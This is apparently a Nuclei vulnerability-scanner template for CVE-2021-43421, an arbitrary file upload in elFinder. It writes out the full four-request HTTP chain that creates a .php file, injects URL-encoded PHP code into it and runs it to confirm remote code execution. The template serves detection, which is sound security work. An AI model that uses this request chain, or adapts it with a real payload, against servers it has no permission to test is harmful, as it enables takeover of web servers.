nuclei-templates/cves/2021/CVE-2021-43421.yaml

id: CVE-2021-43421

info:
  name: Studio-42 elFinder < 2.1.60 - Arbitrary File Upload 
  author: akincibor
  severity: critical
  description: |
    A File Upload vulnerability exists in Studio-42 elFinder 2.0.4 to 2.1.59 via connector.minimal.php, which allows a remote malicious user to upload arbitrary files and execute PHP code.
  reference:
    - https://github.com/Studio-42/elFinder/issues/3429
    - https://nvd.nist.gov/vuln/detail/CVE-2021-43421
  tags: cve,cve2021,elfinder,unauth,upload,rce

requests:
  - raw:
      - |
        GET /elFinder/php/connector.minimal.php?cmd=mkfile&target=l1_Lw&name={{randstr}}.php:aaa HTTP/1.1
        Host: {{Hostname}}
        Accept: */*

      - |
        GET /elFinder/php/connector.minimal.php?cmd=put&target={{hash}}&content=jpeg%3c%3fphp%20echo%20%22{{randstr_1}}%22%3b%20%3f%3e HTTP/1.1
        Host: {{Hostname}}

      - |
        GET /elFinder/php/connector.minimal.php?cmd=open&target=l1_ HTTP/1.1
        Host: {{Hostname}}
        Accept: */*

      - |
        GET /elfinder/files/{{randstr}}.php%3Aaaa?_t= HTTP/1.1
        Host: {{Hostname}}
        Accept: */*

    req-condition: true
    matchers:
      - type: dsl
        dsl:
          - 'contains(body_3, "{{randstr}}")'
          - 'contains(body_4, "{{randstr_1}}")'
          - "status_code == 200"
        condition: and

    extractors:
      - type: regex
        name: hash
        group: 1
        regex:
          - '"hash"\:"(.*?)"\,'
        internal: true